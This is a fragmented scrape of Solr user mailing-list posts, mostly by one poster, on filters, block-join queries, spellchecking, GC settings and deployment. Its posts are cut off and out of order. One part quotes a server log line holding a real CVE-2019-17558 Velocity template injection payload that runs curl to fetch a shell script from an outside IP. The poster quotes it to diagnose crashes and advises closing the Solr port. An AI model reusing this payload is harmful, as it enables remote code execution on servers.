sudden death ended. So I
tend to think just disabling the Velocity engine might not enough.
Of course there is a possibility that this server was also getting a different
kind of attack. We don't know.
But in general, the Solr port should be closed from external access.
TK
On 2/12/21 10:
Oops, I should have referenced this document rather:
https://www.tenable.com/cve/CVE-2019-17558
<https://www.tenable.com/cve/CVE-2019-17558>
On 2/3/21 2:42 PM, TK Solr wrote:
Victor & Satish,
Is your Solr accessible from the Internet by anyone? If so, your site is being
attacke
security hole doesn't
just leak the information but it can also kill the Solr process.
TK
rent')
According to the Admin UI, -XX:+UseLargePage is gone, which is good but all
other -XX:* except -XX:+UseG1GC are also gone.
What is the correct way to remove just -XX:UseLargePage ?
TK
On 1/6/21 3:42 PM, TK Solr wrote:
My client is having a sudden death syndrome of Solr 8.3.1. Solr s
-day-vulnerability
Fortunately the attack isn't succeeding because of SOLR-13971 fix, and instead
it is causing these errors. I'll fortify the Solr access.
On 1/7/21 11:02 AM, TK Solr wrote:
On the Admin UI's login screen, when the Logging tab is clicked, I see lines
like:
Time(Lo
e Admin UI code itself? Does the Admin UI use Velocity?
(I thought it might be a library path issue but I don't see 'custom.vm'
anywhere in the Solr source code.)
What does "x:" prefix to the core name mean?
What does "false" under the log level mean?
The Solr I'm using is 8.3.1 using openJDK 11 on Ubuntu 18.04.3.
TK
not
quite sure what kind of variable GC_TUNE is. It is used as in:
if [ -z ${GC_TUNE+x} ]; then
...
'-XX:+AlwaysPreTouch')
else
GC_TUNE=($GC_TUNE)
fi
I'm not familiar with *${*GC_TUNES*+x}* and*($*GC_TUNE*)* syntax. Is this a
special kind of environmental variable?
TK
ot;:{ "11d6e092-58b5-4c1b-83bc-f3b37e0797fd":{ "match":true, "value":1.0,
"description":"email:*@aol.com"},
The email field uses ReversedWildcardFilter for both indexing and query.
On 4/15/20 12:04 PM, Erick Erickson wrote:
What do you see if you a
being indexed is mar,
then the reversed token would be \u0001ram, so a search for 'ram' wouldn't
accidentally match that). If *withOriginal* is set to true then it will
reverse the normal token as well as the reversed token.
On Thu, 9 Apr 2020 at 02:27, TK Solr wrote:
I
49 PM, TK Solr wrote:
In the usage example shown in ReversedWildcardFilter
<https://lucene.apache.org/solr/guide/8_3/filter-descriptions.html#reversed-wildcard-filter>
in Solr Ref Guide,
and only usage find in managed-schema to define text_general_rev, the filter
is used only f
on of filter, I see "Tokens without wildcards are not reversed."
But the wildcard appears only in the query string. How can
ReversedWildcardFilter know if the wildcard is being used
if the filter is used only at the indexing time?
TK
Correction. "mark seattle" query doesn't show suggestions since "mark" alone has
some hits.
It is when the same logic is used for a single term query of "seatle" that 3
suggestions of "seattle"
are returned. Do I have to identify the field by using s
ase disregard exact numbers. It's from more complicated query of the same
nature.)
I think it's showing a correction suggestion for each query field.
Since the phone field keeps a phone number and spelling corrections are not very
useful,
I would like the spellchecker to skip this and similar fields but I don't see a
relevant
parameter in spellchecker's documentation. Is there any way to specify the
fields I am interested or I am not interested?
TK
ted way to manage this file? Admin UI can add fields but cannot
edit existing one or add new field types. Do I keep a script of many schema
calls? (Then how do I reset the default to the initial one, which would be
needed before re-re-playing the schema calls.)
TK
e('java.lang.Character'))+#set($str%3D$x.class.forName('java.lang.String'))+#set($ex%3D$rt.getRuntime().exec('curl+-o+/tmp/zzz+217.12.209.234/s.sh'))+$ex.waitFor()+#set($out%3D$ex.getInputStream())+#foreach($i+in+[1..$out.available()])$str.valueOf($chr.toChars($out.read()))#end&
params.resource.loader.enabled=true},args =
{startup=lazy,template.base.dir=,solr.resource.loader.enabled=true,params.resource.loader.enabled=true}}
2020-04-02 02:16:34.276 ERROR (qtp429353573-17) [ x:my_core] o.a.v.loader
ResourceManager: unable to find resource 'custom.vm' in any resource
newly
added filed type.
What could be the cause of these errors that only happens with the Reload
button?
TK
Ah, that's what _root_ is for ! I was wondering.
Thank you!
On 7/25/18 2:36 PM, Mikhail Khludnev wrote:
_root_:parent-id
чт, 26 июля 2018, 1:33 TK Solr :
The child doc transformer worked great. Thank you.
In my experiment, posting 'parent-id' to the
update
end point o
The child doc transformer worked great. Thank you.
In my experiment, posting 'parent-id' to the update
end point only deleted the parent doc. Do I insert a complex join query from id
to _version_ and delete all the docs of the matching _version_ ?
On 7/24/18 9:27 PM, TK Solr wro
Check [child]
https://lucene.apache.org/solr/guide/7_4/transforming-result-documents.html#child-childdoctransformerfactory
or [subquery].
Although, it's worth to put reference to it somewhere in blockjoin
qparsers.
Documentation patches are welcome.
On Sun, Jul 22, 2018 at 10:25 AM TK Solr wrot
https://lucene.apache.org/solr/guide/7_4/other-parsers.html#block-join-parent-query-parser
talks about {!parent which=} docs>, which returns parent docs only, and
{!child of=} , which
returns child docs only.
Is there a way to retrieve the matched documents in the original, nested form?
Using
Mikhail,
Actually, your suggestion worked! I was making a typo on the field name. Thank
you very much!
TK
p.s. I have found a mention of _query_ "magic field" in the Solr Reference Guide
On 7/8/18 11:04 AM, TK Solr wrote:
Thank you.
This is more promising because I see the sec
y_:{!parent which="isParent:true" v='attrname:genre AND
attrvalue:drama'} AND _query_:{!parent which="isParent:true"
v='attrname:country
AND attrvalue:USA'}
q=+{!parent which="isParent:true" v='attrname:genre AND
attrvalue:drama'} +{!par
Thank you, Mikhail. But this didn't work. The first {!parent which='...'
v='...'} alone works. But the second {!parent ...} clause is completely ignored.
In fact, if I turn on debugQuery, rawquerystring and querystring have the second
query but parsedquery and parsedquery_toString only have the f
attrvalue:drama AND
attrname:country AND attrvalue:USA
would mean a query of parent where one of the children must match. I want a
parent that have two children, one is matched by one sub-query, and another is
matched by another sub-query.
TK
I have is that the Solr config files are that of Solr 5.x and
they just upgraded to Solr 6.6. But I understand Solr 6 supports Solr 5
compatible mode. Has there been any issue in the compatibility mode?
TK
e
all java software shares the same EXE, java.EXE, those won't work.) Can anyone
recommend some? They don't need to be free but can't be very expensive since
it's a very lightly used Solr system. Perhaps less than $500?
TK
.main(argv).
But a big question is why you'd like to do that.
TK
On 4/18/18 7:34 AM, rameshkjes wrote:
Hi guys,
I am able to run the solr instance, add the core and import the data
manually. But I want to do everything with the help of Java program, I
searched a lot but did not find an
On my AWS t2.micro instance, which only has 1 GB memory, I installed Solr (4.7.1
- please don't ask) and tried to run it in sample directory as java -jar
start.jar. It exited shortly due to lack of memory.
How much memory does Solr require to run, with empty core?
TK
commit=true'
-F "myfile=@foo.pdf"
but I got:
[doc=foo.pdf] missing required field:
libDocumentID400
Can I specify more than one litera.name=value ? Do I have to define
literal.libDocumentID in solrconfig.xml?
I'm using Solr 5.3.1 (please don't ask...).
TK
If I want to deploy Solr on AWS, do people recommend using the prepackaged
Bitnami Solr image? Or is it better to install Solr manually on a computer
instance? Or are there a better way?
TK
I think you can use ASCIIFoldingFIlter
http://lucene.apache.org/core/6_2_0/analyzers-common/org/apache/lucene/analysis/miscellaneous/ASCIIFoldingFilter.html
by inserting its factory in your schema.
http://lucene.apache.org/core/6_2_0/analyzers-common/org/apache/lucene/analysis/miscellaneous/ASC
On 6/17/15, 2:35 PM, Upayavira wrote:
Do you have a managed-schema file, or such?
You may have used the configs that have a managed schema, i.e. one that
allows you to change the schema via HTTP.
I do see a file named "managed-schema" without ".xml" extension in the conf
directory.
Its content
gsets/sample_techproducts_configs/conf/schema.xml
is used by the foo core because it knows about the "cat" field.
Is the template files in sample_techproducts_configs considered standard?
TK
Maybe maven shade can help your situation ?
https://maven.apache.org/plugins/maven-shade-plugin/
http://stackoverflow.com/questions/13620281/what-is-the-maven-shade-plugin-used-for-and-why-would-you-want-to-relocate-java
Create a self-contained jar with guava package renamed.
Not very pretty but
On 5/21/15, 5:19 AM, Björn Keil wrote:
Thanks for the advice. I have tried the field type and it seems to do what it
is supposed to in combination with a lower case filter.
However, that raises another slight problem:
German umlauts are supposed to be treated slightly different for the purpos
On 5/21/15, 5:26 AM, Steven White wrote:
Hi TK,
Can you share the thread you found on this WAR topic?
Steve,
Actually, that was my mistake. I still don't know why WARs are bad.
In the thread "Solr 5.0, Jetty and WAR", which you started and are familiar
with,
https://wiki.
Never mind. I found that thread. Sorry for the noise.
On 5/20/15, 5:56 PM, TK Solr wrote:
On 5/20/15, 8:21 AM, Shawn Heisey wrote:
As of right now, there is still a .war file. Look in the server/webapps
directory for the .war, server/lib/ext for logging jars, and server/resources
for the
On 5/20/15, 8:21 AM, Shawn Heisey wrote:
As of right now, there is still a .war file. Look in the server/webapps
directory for the .war, server/lib/ext for logging jars, and server/resources
for the logging configuration. Consult your container's documentation to learn
where to place these thin
On 5/7/15, 11:23 AM, Kuntal Ganguly wrote:
1) Is this a correct approach to do it? Or i'm missing something?
Does the user wants to see the documents that he/she doesn't understand?
The words such as "doctor", "taxi", etc. are common among many languages in
Europe.
Would the Spanish user wants
Is there any good document about Lucene Test Framework?
I can only find API docs.
Mimicking the unit test I've found in Lucene trunk, I tried to write
a unit test that tests a TokenFilter I am writing. But it is failing
with an error message like:
java.lang.AssertionError: close() called in wrong s
ext. What strategy would you use to deal with short text?
--
TK
On 7/30/14, 10:47 AM, Eugene wrote:
Hello, fellow Solr and Lucene users and developers!
In our project we receive text from users in different languages. We
detect language automatically and use Google Translate APIs a lot (so
having arbitrary number of languages in our system doesn't
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